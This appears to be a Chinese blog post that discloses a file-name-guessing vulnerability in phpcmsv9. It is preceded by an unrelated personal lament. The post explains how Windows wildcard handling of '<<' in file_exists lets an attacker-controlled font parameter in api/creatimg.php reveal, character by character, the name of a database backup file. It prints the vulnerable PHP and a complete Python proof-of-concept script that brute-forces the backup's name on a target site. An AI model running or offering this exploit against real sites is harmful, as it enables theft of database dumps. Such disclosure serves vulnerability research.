活了二十几年,从来没有人给过我一次意外感动或惊喜,也没有人在我生日的时候给过我特别的礼物,生病的时候得到的只是一些不在身边的语言安慰,也不见谁真正的照顾过自己,甚至有的时候自己蒙头睡一觉就好了,也有人喜欢过我,但是从没见谁坚持过。
简要描述
一处逻辑漏洞导致备份文件名可猜测,影响所有版本的phpcmsv9。
漏洞详情
一、漏洞原理
我们知道windows的FindFirstFile(API)有个特性就是可以把<<当成通配符来用而PHP的opendir(win32\readdir.c)就使用了该API。PHP的文件操作函数均调用了opendir,所以file_exists也有此特性。
二、漏洞形成
程序文件\api\creatimg.php里的$fontfile变量可控随后便进入file_exists函数判断。当文件存在和不存在时所返回的页面是不一样的。所以完全可以利用这个点来把长达30多位随机字母名称的备份文件推算出来(备份文件在web目录)。
<?php
defined('IN_PHPCMS') or exit('No permission resources.');
$txt = trim($_GET['txt']);
if(extension_loaded('gd') && $txt ) {
header ("Content-type: image/png");
$txt = urldecode(sys_auth($txt, 'DECODE'));
$fontsize = isset($_GET['fontsize']) ? intval($_GET['fontsize']) : 16;
$fontpath = PC_PATH.'libs'.DIRECTORY_SEPARATOR.'data'.DIRECTORY_SEPARATOR.'font'.DIRECTORY_SEPARATOR;
$fontfile = isset($_GET['font']) && !empty($_GET['font']) ? $fontpath.trim($_GET['font']) : $fontpath.'georgia.ttf';
$fontcolor = isset($_GET['fontcolor']) && !empty($_GET['fontcolor']) ? trim($_GET['fontcolor']) : 'FF0000';
$fontcolor_r = hexdec(substr($fontcolor,0,2));
$fontcolor_g = hexdec(substr($fontcolor,2,2));
$fontcolor_b = hexdec(substr($fontcolor,4,2));
if(file_exists($fontfile)){
//计算文本写入后的宽度,右下角 X 位置-左下角 X 位置
$image_info = imagettfbbox($fontsize,0,$fontfile,$txt);
$imageX = $image_info[2]-$image_info[0]+10;
$imageY = $image_info[1]-$image_info[7]+5;
//print_r($image_info);
$im = @imagecreatetruecolor ($imageX, $imageY) or die ("Cannot Initialize new GD image stream");
$white= imagecolorallocate($im, 255, 255, 255);
$font_color= imagecolorallocate($im,$fontcolor_r,$fontcolor_g,$fontcolor_b);
if(intval($_GET['transparent']) == 1) imagecolortransparent($im,$white); //背景透明
imagefilledrectangle($im, 0, 0, $imageX, $imageY, $white);
$txt = iconv(CHARSET,"UTF-8",$txt);
imagettftext($im, $fontsize, 0, 5, $imageY-5, $font_color, $fontfile, $txt);
} else {
$imageX = strlen($txt)*9;
$im = @imagecreate ($imageX, 16) or die ("Cannot Initialize new GD image stream");
$bgColor = ImageColorAllocate($im,255,255,255);
$white=imagecolorallocate($im,234,185,95);
$font_color=imagecolorallocate($im,$fontcolor_r,$fontcolor_g,$fontcolor_b);
$fonttype = intval($_GET['fonttype']);
imagestring ($im, $fonttype, 0, 0,$txt, $font_color);
}
imagepng ($im);
imagedestroy ($im);
}
?>
三、漏洞POC
#!/usr/bin/env python
#coding=utf-8
# author: b4dboy
import urllib2
def check(url):
mark = True
req = urllib2.Request(url)
req.add_header('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')
response = urllib2.urlopen(req)
content = response.read()
if 'Cannot' in content:
mark = False
return mark
def guest(target):
arr = []
num = map(chr, range(48, 58))
alpha = map(chr, range(97, 123))
exploit = '%s/api.php?op=creatimg&txt=bbb&font=/../../../../caches/bakup/default/%s%s<<.sql'
while True:
for char in num:
if check(exploit % (target, ''.join(arr), char)):
arr.append(char)
continue
if len(arr) < 20:
for char in alpha:
if check(exploit % (target, ''.join(arr), char)):
arr.append(char)
continue
elif len(arr) == 20:
arr.append('_db_')
elif len(arr)== 29:
arr.append('_1.sql')
break
if len(arr) < 1:
print '[*]not find!'
return
print '[*]find: %s/caches/bakup/default/%s' % (target, ''.join(arr))
if __name__ == "__main__":
url = 'https://sh4d0w.lofter.com/'
#
guest(url)
© Sh4dow's Blog | Powered by LOFTER